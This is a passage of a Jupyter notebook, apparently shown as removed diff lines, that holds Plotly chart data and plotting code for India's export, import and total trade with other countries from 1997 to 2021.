"2020", - "2021" - ], - "y": [ - 6.38, - 7.07, - 7.53, - 9.82, - 9.72, - 8.44, - 6.8, - 9.17, - 15.23, - 28.14, - 33.69, - 38.47, - 23.82, - 26.63, - 40.66, - 39.77, - 37.93, - 38.89, - 55.64, - 43.1, - 43.86, - 38.81, - 51.04, - 89.77, - 24.17 - ] - }, - { - "mode": "lines", - "name": "CYPRUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34.47, - 25.21, - 37.5, - 32.7, - 34.78, - 26.24, - 30.8, - 34.21, - 57.94, - 146.26, - 190.9, - 408.26, - 60.93, - 63.71, - 84.23, - 76.27, - 81.88, - 73.94, - 107.98, - 138.35, - 113.37, - 464.43, - 517.71, - 114.09, - 123.29 - ] - }, - { - "mode": "lines", - "name": "CZECH REPUBLIC", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 67.74, - 78.42, - 73.24, - 74.79, - 79.71, - 142.9, - 199.86, - 263.33, - 357.25, - 456.37, - 628, - 675.17, - 740.21, - 892.54, - 990.73, - 895.67, - 905.05, - 896.43, - 996.48, - 1072.39, - 1074.9, - 687.97, - 795.77, - 878.59, - 895.12 - ] - }, - { - "mode": "lines", - "name": "DENMARK", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 249.5, - 286.24, - 346.54, - 316.88, - 272.47, - 327.03, - 467.5, - 575.96, - 926.22, - 797.76, - 961.11, - 1061.1, - 1172.79, - 1163.56, - 1371.8, - 1249, - 1206.89, - 1182.2, - 1117.33, - 1174.5, - 1348.66, - 1283.89, - 1366.36, - 1344.38, - 1175.85 - ] - }, - { - "mode": "lines", - "name": "DJIBOUTI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 8.97, - 13.31, - 11.2, - 21.42, - 16.96, - 38.24, - 74.87, - 131.74, - 233.71, - 309.77, - 465.24, - 363.62, - 267.01, - 322.27, - 477.48, - 417.04, - 311.19, - 239.43, - 205.78, - 283.24, - 381.91, - 806.49, - 335.55, - 367.23, - 580.63 - ] - }, - { - "mode": "lines", - "name": "DOMINIC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 5.41, - 11.69, - 11.5, - 0, - 16.3, - 13.97, - 24.8, - 37.13, - 38.75, - 45.38, - 61.69, - 64.7, - 98.53, - 110.04, - 119.67, - 138.2, - 431.57, - 653.63, - 899.83, - 842.73, - 782.38, - 574.43, - 466, - 736.27 - ] - }, - { - "mode": "lines", - "name": "DOMINICA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.12, - 0, - 0, - 0, - 2.19, - 2.07, - 2.29, - 2.37, - 2.79, - 3.21, - 4.02, - 3.31, - 3.44, - 2.81, - 3.08, - 3.98, - 2.47, - 2.63, - 1.56, - 3.23, - 2.38, - 1.61, - 2.42, - 2.11, - 2.32 - ] - }, - { - "mode": "lines", - "name": "BULGARIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 20.63, - 11.43, - 45.87, - 24.59, - 23.82, - 19.57, - 36.36, - 42.71, - 48.13, - 117.53, - 192.18, - 134.83, - 83.53, - 127.28, - 209.89, - 247.07, - 261.75, - 370.11, - 239.26, - 421.75, - 315.18, - 338.09, - 302.96, - 295.72, - 274.82 - ] - }, - { - "mode": "lines", - "name": "BRUNEI", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.27, - 3.31, - 1.41, - 3.46, - 3.21, - 4.78, - 4.93, - 5.6, - 43.82, - 293.68, - 237.67, - 415.16, - 453.09, - 257.23, - 1500.51, - 854.82, - 796.05, - 882.87, - 582.46, - 670.73, - 498.01, - 647.29, - 643.9, - 392.16, - 358.35 - ] - }, - { - "mode": "lines", - "name": "BRAZIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 342.57, - 329.1, - 465.92, - 371.21, - 527.18, - 795.82, - 589.14, - 1470.57, - 1983.67, - 2441.6, - 3475.85, - 3837.39, - 5852.25, - 7573.04, - 10041.22, - 10874.29, - 9273.4, - 11364.73, - 6690.43, - 6515.15, - 8561.71, - 8206.92, - 7042.36, - 7260.92, - 8999.81 - ] - }, - { - "mode": "lines", - "name": "BR VIRGN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0.29, - 0, - 0, - 2.1, - 0.34, - 0.11, - 0.85, - 20.27, - 0.61, - 35.11, - 81.75, - 1.28, - 1.46, - 1.52, - 0.55, - 1.48, - 2.4, - 7.14, - 1.64, - 27.52, - 9.06, - 11.28, - 14.11 - ] - }, - { - "mode": "lines", - "name": "ALGERIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.64, - 25.06, - 31.41, - 23.64, - 30.84, - 67.89, - 126.62, - 237.53, - 286.03, - 1090.51, - 1616.12, - 1705.65, - 1569.51, - 2598.13, - 2947.08, - 1772.28, - 1930.43, - 1615.55, - 1087.24, - 1447.01, - 2084.2, - 2637.22, - 2607.79, - 1003.53, - 1070.76 - ] - }, - { - "mode": "lines", - "name": "AMERI SAMOA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.2, - 0, - 0, - 0, - 0.74, - 0.27, - 1.32, - 0.59, - 84.01, - 1.33, - 0.37, - 0.43, - 0.36, - 3.45, - 1.15, - 0.19, - 0.86, - 1.29, - 0.22, - 0.61, - 0.03, - 3.21, - 1.54, - 0.62 - ] - }, - { - "mode": "lines", - "name": "ANDORRA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.03, - 0.1, - 0, - 0, - 0, - 0.21, - 0.06, - 0.2, - 0, - 0.16, - 0.14, - 0.97, - 0.2, - 0.27, - 0.28, - 0.12, - 0.12, - 5.54, - 0.12, - 0.23, - 0, - 0.37, - 0.11, - 0.03, - 0 - ] - }, - { - "mode": "lines", - "name": "ANGOLA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 5.84, - 0, - 25.03, - 44.51, - 0, - 73.8, - 154.91, - 446.6, - 1286.21, - 1756.7, - 4877.85, - 5787.56, - 7079.4, - 7646.33, - 6528.34, - 5170.29, - 2990, - 2751.12, - 4558.77, - 4309.86, - 3934.11, - 2139.34, - 2056.4 - ] - }, - { - "mode": "lines", - "name": "ANTIGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.19, - 0, - 0, - 5.01, - 1.05, - 1.25, - 2.54, - 1.93, - 3.06, - 1.47, - 16.57, - 0.94, - 1.59, - 2.23, - 2.56, - 2.57, - 1.98, - 2.19, - 2.86, - 2.38, - 1.76, - 1.84 - ] - }, - { - "mode": "lines", - "name": "ARGENTINA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 220.9, - 413.28, - 410.08, - 479.27, - 500.62, - 464.43, - 611.29, - 725.91, - 953.54, - 1087.38, - 1196.93, - 851.08, - 942.17, - 1427.1, - 1579.12, - 1738.66, - 1949.83, - 2452.43, - 3007.98, - 3011.47, - 2937.91, - 2517.92, - 3090.49, - 3314.89, - 4297 - ] - }, - { - "mode": "lines", - "name": "ARMENIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.2, - 0.66, - 1.96, - 1.77, - 2.68, - 4.19, - 8.02, - 9.27, - 85.64, - 23.68, - 22.76, - 21.44, - 26.9, - 44.45, - 41.96, - 74.17, - 92.29, - 36.82, - 31.38, - 33.91, - 26.85, - 42.05, - 166.29, - 123.43 - ] - }, - { - "mode": "lines", - "name": "AUSTRALIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1923.81, - 1832.42, - 1485.04, - 1468.63, - 1724.12, - 1840.96, - 3233.51, - 4544.77, - 5769.14, - 7924.78, - 8967.72, - 12537.39, - 13792.33, - 12502.01, - 18055.35, - 15434.34, - 12122.81, - 13029.38, - 12161.76, - 14112.27, - 18006.07, - 16651.65, - 12634.36, - 12291.17, - 17750.84 - ] - }, - { - "mode": "lines", - "name": "AUSTRIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 166.3, - 137.22, - 141.75, - 150.34, - 154.15, - 245.32, - 308.05, - 379.49, - 476.49, - 588.85, - 769.36, - 1192.31, - 1042.11, - 1410.76, - 1422.94, - 1257.79, - 1165.24, - 1179.02, - 1166.93, - 1291.5, - 1433.35, - 1199.59, - 1085.32, - 1076.17, - 1027.52 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[120]]['Year(start)'], y=df[df['Country']==country.index[120]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(120,150):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[120]]['Year(start)'], y=df[df['Country']==country.index[120]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(120,150):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[120]]['Year(start)'], y=df[df['Country']==country.index[120]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(120,150):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "id": "28285338-fc5a-4aa2-b0e0-f21a8b0de67b", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 2.95, - 4.02, - 7.34, - 11.67, - 10.68, - 8.64, - 12.28, - 30.79, - 28.81, - 24.57, - 25.78, - 33.8, - 29.91, - 38.65, - 71.62, - 87.16, - 123.89, - 110.42, - 33.38, - 40.27, - 33.68, - 43.46, - 53.21, - 50.81, - 27.4 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AZERBAIJAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.95, - 4.02, - 7.34, - 11.67, - 10.68, - 8.64, - 12.28, - 30.79, - 28.81, - 24.57, - 25.78, - 33.8, - 29.91, - 38.65, - 71.62, - 87.16, - 123.89, - 110.42, - 33.38, - 40.27, - 33.68, - 43.46, - 53.21, - 50.81, - 27.4 - ] - }, - { - "mode": "lines", - "name": "BAHAMAS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.06, - 0.67, - 1.41, - 2.33, - 0.67, - 3.17, - 3.23, - 5.55, - 9.35, - 61.08, - 17.5, - 2.23, - 883.78, - 2173.18, - 2243.52, - 2669.86, - 228.03, - 123.5, - 11.96, - 5.93, - 8.07, - 6.06, - 60.48, - 4.56, - 6.05 - ] - }, - { - "mode": "lines", - "name": "BAHARAIN IS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 61.2, - 56.84, - 60.22, - 78.67, - 75.59, - 99.54, - 111.63, - 156.46, - 192.25, - 184.52, - 252.47, - 286.52, - 250.21, - 651.83, - 439.99, - 603.47, - 639.36, - 472.98, - 654.14, - 471.71, - 556.82, - 742.14, - 559.09, - 528.25, - 702.48 - ] - }, - { - "mode": "lines", - "name": "BANGLADESH PR", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 786.46, - 995.64, - 636.31, - 935.04, - 1002.18, - 1176, - 1740.74, - 1631.12, - 1664.36, - 1629.57, - 2923.72, - 2497.87, - 2433.77, - 3242.9, - 3789.2, - 5144.99, - 6166.93, - 6451.47, - 6034.94, - 6820.11, - 8614.35, - 9210.06, - 8200.75, - 9691.56, - 10963.29 - ] - }, - { - "mode": "lines", - "name": "BARBADOS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.52, - 2.87, - 3.57, - 3.06, - 1.07, - 2.46, - 1.18, - 1.74, - 2.31, - 2.65, - 2.52, - 3.88, - 4.3, - 5.44, - 7.55, - 5.87, - 6.44, - 10.19, - 10.5, - 12.35, - 12.74, - 12.43, - 12.76, - 11.1, - 11.07 - ] - }, - { - "mode": "lines", - "name": "BELARUS", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.6, - 1.61, - 2.36, - 4.05, - 2.15, - 5.91, - 6.49, - 10.61, - 12.22, - 14.41, - 